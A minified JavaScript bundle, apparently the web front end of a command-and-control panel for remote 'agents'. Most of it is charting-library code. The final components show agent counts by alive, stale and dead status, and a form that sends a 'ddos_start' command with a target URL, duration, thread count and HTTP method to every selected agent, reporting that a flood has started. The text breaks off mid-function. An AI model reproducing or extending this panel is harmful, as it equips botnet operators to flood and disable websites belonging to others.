t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:a,hide:o}=e;return[{inactive:o,dataKey:t,type:a,color:_u(r,i),value:Nd(n,t),payload:e}]},rW=p.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:a,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:as,settings:{stroke:r,strokeWidth:i,fill:a,dataKey:t,nameKey:void 0,name:Nd(o,t),hide:l,type:u,color:_u(r,a),unit:c,graphicalItemId:d}};return p.createElement(e3,{tooltipEntrySettings:f})});function iW(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:a,dataKey:o}=r,l=yr(r);return p.createElement(QB,{points:n,dot:a,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function aW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(a=>{var o,l,c={x:(o=a.x)!==null&&o!==void 0?o:0,y:(l=a.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Pa(Pa({},c),{},{value:a.value,payload:a.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return p.createElement(m$,{value:t?i:void 0},n)}function o2(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:a}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=a,{id:f}=a,m=g3(a,XF),h=yr(m),x=Mt(m);return p.createElement(p.Fragment,null,(t==null?void 0:t.length)>1&&p.createElement(qt,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},p.createElement(Ia,Wi({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&p.createElement(Ia,Wi({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&p.createElement(Ia,Wi({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),p.createElement(iW,{points:t,props:m,clipPathId:i}))}function sW(e){var t,n,{alpha:r,baseLine:i,points:a,strokeWidth:o}=e,l=(t=a[0])===null||t===void 0?void 0:t.y,c=(n=a[a.length-1])===null||n===void 0?void 0:n.y;if(!je(l)||!je(c))return null;var u=r*Math.abs(l-c),d=Math.max(...a.map(f=>f.x||0));return fe(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),fe(d)?p.createElement("rect",{x:0,y:lf.y||0));return fe(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),fe(d)?p.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=Ld(x,"recharts-area-"),y=OT(),[v,b]=p.useState(!1),w=!v,j=p.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),k=p.useCallback(()=>{typeof m=="function"&&m(),b(!0)},[m]);if(y==null)return null;var S=i.current,N=a.current;return p.createElement(aW,{showLabels:w,points:o},r.children,p.createElement(Md,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:k,key:g},z=>{if(S){var O=S.length/o.length,_=z===1?o:o.map((P,R)=>{var V=Math.floor(R*O);if(S[V]){var $=S[V];return Pa(Pa({},P),{},{x:jt($.x,P.x,z),y:jt($.y,P.y,z)})}return P}),T;return fe(l)?T=jt(N,l,z):St(l)||er(l)?T=jt(N,0,z):T=l.map((P,R)=>{var V=Math.floor(R*O);if(Array.isArray(N)&&N[V]){var $=N[V];return Pa(Pa({},P),{},{x:jt($.x,P.x,z),y:jt($.y,P.y,z)})}return P}),z>0&&(i.current=_,a.current=T),p.createElement(o2,{points:_,baseLine:T,needClip:t,clipPathId:n,props:r})}return z>0&&(i.current=o,a.current=l),p.createElement(qt,null,c&&p.createElement("defs",null,p.createElement("clipPath",{id:"animationClipPath-".concat(n)},p.createElement(lW,{alpha:z,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),p.createElement(qt,{clipPath:"url(#animationClipPath-".concat(n,")")},p.createElement(o2,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),p.createElement(US,{label:r.label}))}function uW(e){var{needClip:t,clipPathId:n,props:r}=e,i=p.useRef(null),a=p.useRef();return p.createElement(cW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:a})}class dW extends p.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:a,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:m,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=qe("recharts-area",i),y=m,{r:v,strokeWidth:b}=yF(n),w=QS(n),j=v*2+b,k=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return p.createElement(yi,{zIndex:x},p.createElement(qt,{className:g},l&&p.createElement("defs",null,p.createElement(gF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&p.createElement("clipPath",{id:"clipPath-dots-".concat(y)},p.createElement("rect",{x:o-j/2,y:a-j/2,width:d+j,height:f+j}))),p.createElement(uW,{needClip:l,clipPathId:y,props:this.props})),p.createElement(n2,{points:r,mainColor:_u(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}),this.props.isRange&&Array.isArray(h)&&p.createElement(n2,{points:h,mainColor:_u(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}))}}var y3={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Ut.area};function fW(e){var t,n=cn(e,y3),{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:m,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=g3(n,ZF),b=ss(),w=yS(),{needClip:j}=u3(g,y),k=Fn(),{points:S,isRange:N,baseLine:z}=(t=xe(V=>GF(V,e.id,k)))!==null&&t!==void 0?t:{},O=rv();if(b!=="horizontal"&&b!=="vertical"||O==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:_,width:T,x:P,y:R}=O;return!S||!S.length?null:p.createElement(dW,Wi({},v,{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,baseLine:z,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:_,hide:f,layout:b,isAnimationActive:m==="auto"?!Td.isSsr:m,isRange:N,legendType:h,needClip:j,points:S,stroke:x,width:T,left:P,top:R,xAxisId:g,yAxisId:y}))}var pW=(e,t,n,r,i)=>{var a=n??t;if(fe(a))return a;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return a==="dataMin"?u:a==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return a==="dataMin"?l[0]:a==="dataMax"?l[1]:l[0]};function mW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:a,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:m,bandSize:h}=e,x=i&&i.length,g=pW(a,o,n,l,c),y=a==="horizontal",v=!1,b=u.map((j,k)=>{var S,N,z,O;if(x)O=i[d+k];else{var _=Re(j,r);Array.isArray(_)?(O=_,v=!0):O=[g,_]}var T=(S=(N=O)===null||N===void 0?void 0:N[1])!==null&&S!==void 0?S:null,P=T==null||x&&!t&&Re(j,r)==null;if(y){var R;return{x:fy({axis:l,ticks:f,bandSize:h,entry:j,index:k}),y:P?null:(R=c.scale.map(T))!==null&&R!==void 0?R:null,value:O,payload:j}}return{x:P?null:(z=l.scale.map(T))!==null&&z!==void 0?z:null,y:fy({axis:c,ticks:m,bandSize:h,entry:j,index:k}),value:O,payload:j}}),w;return x||v?w=b.map(j=>{var k,S=Array.isArray(j.value)?j.value[0]:null;if(y){var N;return{x:j.x,y:S!=null&&j.y!=null&&(N=c.scale.map(S))!==null&&N!==void 0?N:null,payload:j.payload}}return{x:S!=null&&(k=l.scale.map(S))!==null&&k!==void 0?k:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function hW(e){var t=cn(e,y3),n=Fn();return p.createElement(t3,{id:t.id,type:"area"},r=>p.createElement(p.Fragment,null,p.createElement(iB,{legendPayload:nW(t)}),p.createElement(rW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),p.createElement(gB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:Q6(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),p.createElement(fW,Wi({},t,{id:r}))))}var b3=p.memo(hW,d3);b3.displayName="Area";var xW=(e,t)=>t,sv=M([xW,_e,j4,gt,fS,Ir,uR,xt],vR),ov=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},w3=jn("mouseClick"),j3=Yo();j3.startListening({actionCreator:w3,effect:(e,t)=>{var n=e.payload,r=sv(t.getState(),ov(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(cD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var uh=jn("mouseMove"),k3=Yo(),Ul=null;k3.startListening({actionCreator:uh,effect:(e,t)=>{var n=e.payload;Ul!==null&&cancelAnimationFrame(Ul);var r=ov(n);Ul=requestAnimationFrame(()=>{var i=t.getState(),a=W0(i,i.tooltip.settings.shared);if(a==="axis"){var o=sv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(rS({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(nS())}Ul=null})}});function vW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var l2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},N3=Yt({name:"rootProps",initialState:l2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:l2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),gW=N3.reducer,{updateOptions:yW}=N3.actions,bW=null,wW={updatePolarOptions:(e,t)=>t.payload},S3=Yt({name:"polarOptions",initialState:bW,reducers:wW}),{updatePolarOptions:jW}=S3.actions,kW=S3.reducer,z3=jn("keyDown"),C3=jn("focus"),lv=Yo();lv.startListening({actionCreator:z3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,a=e.payload;if(!(a!=="ArrowRight"&&a!=="ArrowLeft"&&a!=="Enter")){var o=U0(i,hs(n),al(n),ol(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Ir(n);if(a==="Enter"){var u=Su(n,"axis","hover",String(i.index));t.dispatch(ah({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=J7(n),f=d==="left-to-right"?1:-1,m=a==="ArrowRight"?1:-1,h=l+m*f;if(!(c==null||h>=c.length||h<0)){var x=Su(n,"axis","hover",String(h));t.dispatch(ah({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});lv.startListening({actionCreator:C3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var a="0",o=Su(n,"axis","hover",String(a));t.dispatch(ah({active:!0,activeIndex:a,activeCoordinate:o}))}}}});var mn=jn("externalEvent"),P3=Yo(),hp=new Map;P3.startListening({actionCreator:mn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,a=hp.get(i);a!==void 0&&cancelAnimationFrame(a);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:GD(l),activeDataKey:xS(l),activeIndex:Qa(l),activeLabel:hS(l),activeTooltipIndex:Qa(l),isTooltipActive:XD(l)};n(c,r)}finally{hp.delete(i)}});hp.set(i,o)}}});var NW=M([ps],e=>e.tooltipItemPayloads),SW=M([NW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(a=>a.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),E3=jn("touchMove"),A3=Yo();A3.startListening({actionCreator:E3,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=W0(r,r.tooltip.settings.shared);if(i==="axis"){var a=n.touches[0];if(a==null)return;var o=sv(r,ov({clientX:a.clientX,clientY:a.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(rS({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(Hk),f=(l=u.getAttribute(Kk))!==null&&l!==void 0?l:void 0,m=ms(r).find(g=>g.id===f);if(d==null||m==null||f==null)return;var{dataKey:h}=m,x=SW(r,d,f);t.dispatch(tS({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var zW=hk({brush:dF,cartesianAxis:rF,chartData:qR,errorBars:vF,graphicalItems:xB,layout:U6,legend:KT,options:WR,polarAxis:z$,polarOptions:kW,referenceElements:pF,rootProps:gW,tooltip:uD,zIndex:_R}),CW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return m6({reducer:zW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([j3.middleware,k3.middleware,lv.middleware,P3.middleware,A3.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(Ak({type:"raf"}))},devTools:{serialize:{replacer:vW},name:"recharts-".concat(n)}})};function _3(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Fn(),a=p.useRef(null);if(i)return n;a.current==null&&(a.current=CW(t,r));var o=Ax;return p.createElement(FF,{context:o,store:a.current},n)}function PW(e){var{layout:t,margin:n}=e,r=tt(),i=Fn();return p.useEffect(()=>{i||(r(B6(t)),r($6(n)))},[r,i,t,n]),null}var O3=p.memo(PW,d3);function T3(e){var t=tt();return p.useEffect(()=>{t(yW(e))},[t,e]),null}function c2(e){var{zIndex:t,isPanorama:n}=e,r=p.useRef(null),i=tt();return p.useLayoutEffect(()=>(r.current&&i(ER({zIndex:t,element:r.current,isPanorama:n})),()=>{i(AR({zIndex:t,isPanorama:n}))}),[i,t,n]),p.createElement("g",{tabIndex:-1,ref:r})}function u2(e){var{children:t,isPanorama:n}=e,r=xe(yR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),a=r.filter(o=>o>0);return p.createElement(p.Fragment,null,i.map(o=>p.createElement(c2,{key:o,zIndex:o,isPanorama:n})),t,a.map(o=>p.createElement(c2,{key:o,zIndex:o,isPanorama:n})))}var EW=["children"];function AW(e,t){if(e==null)return{};var n,r,i=_W(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var n=AT(),r=_T(),i=uN();if(!di(n)||!di(r))return null;var{children:a,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),p.createElement(h5,Ou({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:OW,ref:t}),a)}),MW=e=>{var{children:t}=e,n=xe(Pd);if(!n)return null;var{width:r,height:i,y:a,x:o}=n;return p.createElement(h5,{width:r,height:i,x:o,y:a},t)},d2=p.forwardRef((e,t)=>{var{children:n}=e,r=AW(e,EW),i=Fn();return i?p.createElement(MW,null,p.createElement(u2,{isPanorama:!0},n)):p.createElement(TW,Ou({ref:t},r),p.createElement(u2,{isPanorama:!1},n))});function LW(){var e=tt(),[t,n]=p.useState(null),r=xe(iT);return p.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),a=i.width/t.offsetWidth;je(a)&&a!==r&&e(W6(a))}},[t,e,r]),n}function f2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function IW(e){for(var t=1;t(n9(),null);function Tu(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var FW=p.forwardRef((e,t)=>{var n,r,i=p.useRef(null),[a,o]=p.useState({containerWidth:Tu((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Tu((r=e.style)===null||r===void 0?void 0:r.height)}),l=p.useCallback((u,d)=>{o(f=>{var m=Math.round(u),h=Math.round(d);return f.containerWidth===m&&f.containerHeight===h?f:{containerWidth:m,containerHeight:h}})},[]),c=p.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var m=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(m);h.observe(u),i.current=h}},[t,l]);return p.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),p.createElement(p.Fragment,null,p.createElement(Xo,{width:a.containerWidth,height:a.containerHeight}),p.createElement("div",oi({ref:c},e)))}),WW=p.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,a]=p.useState({containerWidth:Tu(n),containerHeight:Tu(r)}),o=p.useCallback((c,u)=>{a(d=>{var f=Math.round(c),m=Math.round(u);return d.containerWidth===f&&d.containerHeight===m?d:{containerWidth:f,containerHeight:m}})},[]),l=p.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return p.createElement(p.Fragment,null,p.createElement(Xo,{width:i.containerWidth,height:i.containerHeight}),p.createElement("div",oi({ref:l},e)))}),UW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return p.createElement(p.Fragment,null,p.createElement(Xo,{width:n,height:r}),p.createElement("div",oi({ref:t},e)))}),VW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?p.createElement(WW,oi({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?p.createElement(UW,oi({},e,{width:n,height:r,ref:t})):p.createElement(p.Fragment,null,p.createElement(Xo,{width:n,height:r}),p.createElement("div",oi({ref:t},e)))});function HW(e){return e?FW:VW}var KW=p.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:a,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:m,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=p.useRef(null),k=tt(),[S,N]=p.useState(null),[z,O]=p.useState(null),_=LW(),T=$x(),P=(T==null?void 0:T.width)>0?T.width:v,R=(T==null?void 0:T.height)>0?T.height:i,V=p.useCallback(C=>{_(C),typeof t=="function"&&t(C),N(C),O(C),C!=null&&(j.current=C)},[_,t,N,O]),$=p.useCallback(C=>{k(w3(C)),k(mn({handler:a,reactEvent:C}))},[k,a]),L=p.useCallback(C=>{k(uh(C)),k(mn({handler:u,reactEvent:C}))},[k,u]),W=p.useCallback(C=>{k(nS()),k(mn({handler:d,reactEvent:C}))},[k,d]),B=p.useCallback(C=>{k(uh(C)),k(mn({handler:f,reactEvent:C}))},[k,f]),U=p.useCallback(()=>{k(C3())},[k]),F=p.useCallback(C=>{k(z3(C.key))},[k]),H=p.useCallback(C=>{k(mn({handler:o,reactEvent:C}))},[k,o]),G=p.useCallback(C=>{k(mn({handler:l,reactEvent:C}))},[k,l]),re=p.useCallback(C=>{k(mn({handler:c,reactEvent:C}))},[k,c]),oe=p.useCallback(C=>{k(mn({handler:m,reactEvent:C}))},[k,m]),he=p.useCallback(C=>{k(mn({handler:g,reactEvent:C}))},[k,g]),pe=p.useCallback(C=>{w&&k(E3(C)),k(mn({handler:x,reactEvent:C}))},[k,w,x]),Y=p.useCallback(C=>{k(mn({handler:h,reactEvent:C}))},[k,h]),ee=HW(b);return p.createElement(NS.Provider,{value:S},p.createElement(o_.Provider,{value:z},p.createElement(ee,{width:P??(y==null?void 0:y.width),height:R??(y==null?void 0:y.height),className:qe("recharts-wrapper",r),style:IW({position:"relative",cursor:"default",width:P,height:R},y),onClick:$,onContextMenu:H,onDoubleClick:G,onFocus:U,onKeyDown:F,onMouseDown:re,onMouseEnter:L,onMouseLeave:W,onMouseMove:B,onMouseUp:oe,onTouchEnd:Y,onTouchMove:pe,onTouchStart:he,ref:V},p.createElement(BW,null),n)))}),qW=["width","height","responsive","children","className","style","compact","title","desc"];function YW(e,t){if(e==null)return{};var n,r,i=GW(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:a,className:o,style:l,compact:c,title:u,desc:d}=e,f=YW(e,qW),m=yr(f);return c?p.createElement(p.Fragment,null,p.createElement(Xo,{width:n,height:r}),p.createElement(d2,{otherAttributes:m,title:u,desc:d},a)):p.createElement(KW,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},p.createElement(d2,{otherAttributes:m,title:u,desc:d,ref:t},p.createElement(hF,null,a)))});function dh(){return dh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(jW(e))},[t,e]),null}var eU=["layout"];function fh(){return fh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=cn(e,cU);return p.createElement(iU,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:lU,tooltipPayloadSearcher:zS,categoricalChartProps:n,ref:t})}),dU=["axis"],fU=p.forwardRef((e,t)=>p.createElement(QW,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:dU,tooltipPayloadSearcher:zS,categoricalChartProps:e,ref:t}));function pU({agents:e}){const t=p.useMemo(()=>{const i=Date.now(),a=24*60*60*1e3,o=24,l=a/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:m,count:h})}return c},[e]),n=p.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,a=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:a,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=p.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:s.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),s.jsx("div",{style:{height:100},children:s.jsx(by,{width:"100%",height:"100%",children:s.jsxs(fU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[s.jsx("defs",{children:s.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[s.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),s.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),s.jsx(bb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),s.jsx(b3,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{style:{width:100,height:100},children:s.jsx(by,{width:"100%",height:"100%",children:s.jsxs(uU,{children:[s.jsx(r3,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,a)=>s.jsx(Qd,{fill:i.color},a))}),s.jsx(bb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),s.jsx("div",{className:"space-y-2",children:n.map(i=>s.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[s.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),s.jsx("span",{className:"text-zerin-text-dim",children:i.name}),s.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function mU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useRef(null),c=p.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=p.useCallback(f=>{t(e.filter(m=>m!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return s.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>s.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r + bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&s.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&s.jsx(s.Fragment,{children:a?s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-all`}):s.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r + text-zerin-text-muted hover:text-zerin-accent\r + border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r + transition-colors`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const hU=["GET","POST","HEAD"],xU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function I3({agentIds:e,agentStatus:t}){const[n,r]=p.useState(""),[i,a]=p.useState(60),[o,l]=p.useState(10),[c,u]=p.useState("GET"),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(!1),[y,v]=p.useState([]),b=t==="dead",w=e.length,j=(N,z)=>{h({text:N,type:z}),setTimeout(()=>h(null),5e3)},k=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const z=(await Promise.allSettled(e.map(_=>Ce(_,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((_,T)=>({agentId:e[T],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(z);const O=z.filter(_=>_.ok).length;g(O>0),O===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${O}/${w} agents (${w-O} failed)`,O>0?"ok":"err")}catch(N){j(N instanceof 